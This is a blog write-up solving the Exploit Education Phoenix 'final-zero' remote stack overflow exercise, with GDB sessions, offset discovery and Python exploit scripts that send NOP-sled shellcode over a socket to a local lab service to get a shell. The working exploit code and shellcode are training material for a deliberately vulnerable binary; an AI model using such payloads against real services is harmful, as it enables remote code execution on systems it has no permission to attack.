Exploit Education | Phoenix | Final Zero Solution

The beginning of the end of the Phoenix exercises :) Remote stack overflow.

The description and source code can be found here:
http://exploit.education/phoenix/final-zero/

The description tells us it’s a remote stack overflow. Let’s look at the source code first. The get_username() function is vulnerable to a stack overflow:

char *get_username() {
    char buffer[512];
    char *q;
    int i;

    memset(buffer, 0, sizeof(buffer));
    gets(buffer);

    /* Strip off trailing new line characters */
    q = strchr(buffer, '\n');
    if (q) *q = 0;
    q = strchr(buffer, '\r');
    if (q) *q = 0;

    /* Convert to lower case */
    for (i = 0; i < strlen(buffer); i++) {
        buffer[i] = toupper(buffer[i]);
    }

    /* Duplicate the string and return it */
    return strdup(buffer);
}

You can see that the gets() function gets user input and stores it in the buffer variable without bounds checking. We can use that to overwrite the stored return pointer on the stack. However, there’s a few “gotchas” in the code here. First, it turns any newline (0x0a) and carriage return (0x0d) characters into null bytes. Next, it converts any ASCII lowercase letter (0x61 to 0x7a) to an uppercase letter (0x41 to 0x5a). This effectively subtracts 0x20 from any byte between 0x61 and 0x7a. However, it’s important to note that it uses strlen() to see which bytes to operate on. That function will return the length of the string in decimal value up until a null byte. So if we can insert a null byte, followed by shellcode, then none of it should get changed. While we can’t insert a null byte directly, we can insert a carriage return character (0x0d), which would get turned into a null byte. We can’t use a newline character (0x0a) since everything after that would get ignored by gets().

Before firing up GDB, I’m going to experiment. First, I’m going to develop an exploit locally, then I’ll test it on the service that’s listening on port 64003 (for x64). Since the buffer variable is 512 bytes long, I’ll overflow the buffer with 600 characters:

user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "a"*600' | ./final-zero
Welcome to phoenix/final-zero, brought to you by https://exploit.education
Segmentation fault

Now I’ll use a pattern to find how many bytes until the saved RIP return pointer. The Python script used here is from https://github.com/Svenito/exploit-pattern:

user@phoenix-amd64:~$ ./pattern.py 600 | /opt/phoenix/amd64/final-zero
Welcome to phoenix/final-zero, brought to you by https://exploit.education
Segmentation fault

user@phoenix-amd64:~$ sudo tail -n1 /var/log/kern.log
[sudo] password for user:
Sep  6 18:38:03 localhost kernel: [285729.993841] traps: final-zero[11365] general protection ip:7341357341347341 sp:7fffffffe630 error:0

user@phoenix-amd64:~$ ./pattern.py $(echo 0x7341357341347341 | xxd -r | rev)
Pattern As4As5As first occurrence at position 552 in pattern.

I looked at the last log entry in /var/log/kern.log to get the value of the instruction pointer. I then used xxd to convert that value back into ASCII and reversed it (because little-endian). That output is run through the pattern.py script again to get the offset, which turns out to be 552.

Now I’ll need to use GDB to find an address to overwrite the saved RIP value with. First, I’ll set a breakpoint just after the call to gets(). Then I’ll run the program with any ‘ol input & see where I might be able to jump execution to:

user@phoenix-amd64:~$ cd /opt/phoenix/amd64/

user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q final-zero
GEF for linux ready, type `gef' to start, `gef config' to configure
78 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from final-zero...(no debugging symbols found)...done.

gef➤  disas get_username
Dump of assembler code for function get_username:
   ...
   0x00000000004007fc <+47>:    call   0x4005d0 <gets@plt>
   0x0000000000400801 <+52>:    lea    rax,[rbp-0x220]
   ...

gef➤  b *get_username+52
Breakpoint 1 at 0x400801

gef➤  run <<< $(echo aaaa)
Starting program: /opt/phoenix/amd64/final-zero <<< $(echo aaaa)
Welcome to phoenix/final-zero, brought to you by https://exploit.education

Breakpoint 1, 0x0000000000400801 in get_username ()
[... GEF output snipped ...]

gef➤  x/4gx $sp
0x7fffffffe410: 0x0000000061616161      0x0000000000000000
0x7fffffffe420: 0x0000000000000000      0x0000000000000000

Knowing that the buffer variable starts at 0x7fffffffe410, I can use something close to that to overwrite the saved return address with. Initially, I wrote an exploit script with only a handful of NOPs before the shellcode and set the ret value to something in between them (0x7fffffffe418). But I would get a seg fault when running it. I kept increasing the amount of NOPs and increasing the ret value to keep it in the middle until I finally found something that worked. I’m not sure why, but maybe the environment variables for this binary are a lot different when being run in GDB.

The final exploit script I came up with:

#!/usr/bin/env python2

# Offset to EIP
offset = 552

ret = struct.pack("<Q", 0x7fffffffe450)

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode  = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c"
shellcode += "\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52"
shellcode += "\x57\x54\x5e\xb0\x3b\x0f\x05"

payload  = ""
payload += "\r"
payload += "\x90" * 127
payload += shellcode
payload += "\x90" * (offset - len(payload))
payload += ret

print payload
user@phoenix-amd64:/opt/phoenix/amd64$ (python ~/final-zero_local.py; cat) | ./final-zero
Welcome to phoenix/final-zero, brought to you by https://exploit.education
id
uid=1000(user) gid=1000(user) groups=1000(user),27(sudo)

With that done, I modified the script to send the payload to the listening service on port 64003. For a while I played around with various shellcodes generated by msfvenom. I tried both bind & reverse shells but couldn’t get anything to work. So I went back to using a local shell and used the script to keep the connection open.

#!/usr/bin/env python2

import struct
import socket

ADDR = "127.0.0.1"
PORT = 64003

# Offset to EIP
offset = 552

ret = struct.pack("<Q", 0x7fffffffe450)

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode  = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c"
shellcode += "\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52"
shellcode += "\x57\x54\x5e\xb0\x3b\x0f\x05"

payload  = ""
payload += "\r"
payload += "\x90" * 127
payload += shellcode
payload += "\x90" * (offset - len(payload))
payload += ret
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ADDR, PORT))

print s.recv(1024),
raw_input("Press Enter to send the payload...")
s.sendall(payload + "\n")

print("Shell now?")
while True:
    s.sendall(raw_input("$ ") + "\n")
    print s.recv(1024),

However, this didn’t work out so well:

user@phoenix-amd64:~$ ./final-zero.py
Welcome to phoenix/final-zero, brought to you by https://exploit.education
Press Enter to send the payload...
Shell now?
$ id
 $ id
Traceback (most recent call last):
  File "./final-zero.py", line 35, in <module>
    s.sendall(raw_input("$ ") + "\n")
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 32] Broken pipe

user@phoenix-amd64:~$ sudo tail -n1 /var/log/kern.log
[sudo] password for user:
Sep  9 12:50:30 localhost kernel: [ 2088.432038] traps: final-zero[879] trap invalid opcode ip:7fffffffe5ac sp:7fffffffec90 error:0

Looking at the last line in kern.log, I see that the instruction pointer reached an invalid opcode at 0x7fffffffe5ac, which is nowhere near my ret value. Let’s debug in GDB. In the script, I added the line raw_input(“Press Enter to send the payload…”) so I could have a chance to attach GDB to the process before sending the payload.

user@phoenix-amd64:~$ sudo -i
[sudo] password for user:

root@phoenix-amd64:~# ps aux | grep final-zero
user       937  0.1  0.8  22224  9148 pts/0    S+   12:56   0:00 python2 ./final-zero.py
phoenix+   938  0.0  0.0    752     8 ?        Ss   12:56   0:00 /opt/phoenix/amd64/final-zero
root       968  0.0  0.0   6888   984 pts/1    S+   12:57   0:00 grep final-zero

root@phoenix-amd64:~# gdb -q -p 938
GEF for linux ready, type `gef' to start, `gef config' to configure
78 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Attaching to process 938
Reading symbols from target:/opt/phoenix/amd64/final-zero...(no debugging symbols found)...done.
[*] Your file is remote, you should try using `gef-remote` instead
Python Exception <class 'AttributeError'> 'NoneType' object has no attribute 'e_machine':
Reading symbols from target:/opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1...done.
[*] Your file is remote, you should try using `gef-remote` instead
Python Exception <class 'AttributeError'> 'NoneType' object has no attribute 'e_machine':
[*] Your file is remote, you should try using `gef-remote` instead
Python Exception <class 'AttributeError'> 'NoneType' object has no attribute 'e_machine':
0x00007ffff7db6c3b in __stdio_read () from target:/opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'

gef➤  b *get_username+52
Breakpoint 1 at 0x400801

gef➤  c
Continuing.
Python Exception <class 'AttributeError'> 'NoneType' object has no attribute 'all_registers':

Now I can send the payload & check the addresses of the stack:

Breakpoint 1, 0x0000000000400801 in get_username ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'

gef➤  x $rsp
0x7fffffffea60: 0x9090900d

gef➤  x/70gx 0x7fffffffea60
0x7fffffffea60: 0x909090909090900d      0x9090909090909090
0x7fffffffea70: 0x9090909090909090      0x9090909090909090
0x7fffffffea80: 0x9090909090909090      0x9090909090909090
0x7fffffffea90: 0x9090909090909090      0x9090909090909090
0x7fffffffeaa0: 0x9090909090909090      0x9090909090909090
0x7fffffffeab0: 0x9090909090909090      0x9090909090909090
0x7fffffffeac0: 0x9090909090909090      0x9090909090909090
0x7fffffffead0: 0x9090909090909090      0x9090909090909090
0x7fffffffeae0: 0x91969dd1bb48c031      0x53dbf748ff978cd0
0x7fffffffeaf0: 0xb05e545752995f54      0x9090909090050f3b
0x7fffffffeb00: 0x9090909090909090      0x9090909090909090
0x7fffffffeb10: 0x9090909090909090      0x9090909090909090
0x7fffffffeb20: 0x9090909090909090      0x9090909090909090
0x7fffffffeb30: 0x9090909090909090      0x9090909090909090
0x7fffffffeb40: 0x9090909090909090      0x9090909090909090
0x7fffffffeb50: 0x9090909090909090      0x9090909090909090
0x7fffffffeb60: 0x9090909090909090      0x9090909090909090
0x7fffffffeb70: 0x9090909090909090      0x9090909090909090
0x7fffffffeb80: 0x9090909090909090      0x9090909090909090
0x7fffffffeb90: 0x9090909090909090      0x9090909090909090
0x7fffffffeba0: 0x9090909090909090      0x9090909090909090
0x7fffffffebb0: 0x9090909090909090      0x9090909090909090
0x7fffffffebc0: 0x9090909090909090      0x9090909090909090
0x7fffffffebd0: 0x9090909090909090      0x9090909090909090
0x7fffffffebe0: 0x9090909090909090      0x9090909090909090
0x7fffffffebf0: 0x9090909090909090      0x9090909090909090
0x7fffffffec00: 0x9090909090909090      0x9090909090909090
0x7fffffffec10: 0x9090909090909090      0x9090909090909090
0x7fffffffec20: 0x9090909090909090      0x9090909090909090
0x7fffffffec30: 0x9090909090909090      0x9090909090909090
0x7fffffffec40: 0x9090909090909090      0x9090909090909090
0x7fffffffec50: 0x9090909090909090      0x9090909090909090
0x7fffffffec60: 0x9090909090909090      0x9090909090909090
0x7fffffffec70: 0x9090909090909090      0x9090909090909090
0x7fffffffec80: 0x9090909090909090      0x00007fffffffe450

Here, you can see that my ret value is nowhere near the stack. I’ll just change that to something that falls within that first set of NOPs. I could use a lot less NOPs now that I know what to expect, but why do more work than necessary? This final script works now:

#!/usr/bin/env python2

import struct
import socket

ADDR = "127.0.0.1"
PORT = 64003

# Offset to EIP
offset = 552

ret = struct.pack("<Q", 0x7fffffffeaa0)

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode  = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c"
shellcode += "\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52"
shellcode += "\x57\x54\x5e\xb0\x3b\x0f\x05"

payload  = ""
payload += "\r"
payload += "\x90" * 127
payload += shellcode
payload += "\x90" * (offset - len(payload))
payload += ret
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ADDR, PORT))

print s.recv(1024),
s.sendall(payload + "\n")

print("Shell now?")
while True:
    s.sendall(raw_input("$ ") + "\n")
    print s.recv(10024),
user@phoenix-amd64:~$ ./final-zero.py
Welcome to phoenix/final-zero, brought to you by https://exploit.education
Shell now?
$ id
uid=419(phoenix-amd64-final-zero) gid=419(phoenix-amd64-final-zero) groups=419(phoenix-amd64-final-zero)

4 thoughts on “Exploit Education | Phoenix | Final Zero Solution

  1. A fellow Traveler says:

    Hi there 😃,
    I have being following the phoenix challenge write-up (awesome write-up 👍) , this time my roadblock is that i cant find the process of final-zero running in phoenix+ while using the command “ps aux | grep final-zero” in root. Is it important or is it enough to just try gdb the final-zero in root.
    Thank you for sharing knowledge about most of the stuffs used to solve in this challenge (and journey) i have never heard of before (as starter at reversing) 🙌.

    Reply
  2. Andrew Lamarra says:

    Did you start the python script before looking for the process? The script should have the line:
    raw_input("Press Enter to send the payload…")
    so as to give you a chance to attach to the process with GDB before sending the payload.

    Reply
  3. Svenito says:

    Just a quick note about pattern.py: It accepts the raw hex value as well if prefixed with the 0x

    $ ./pattern.py 0x7341357341347341
    Pattern 0x7341357341347341 first occurrence at position 552 in pattern.

    You don’t need to reverse and convert it 😀

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.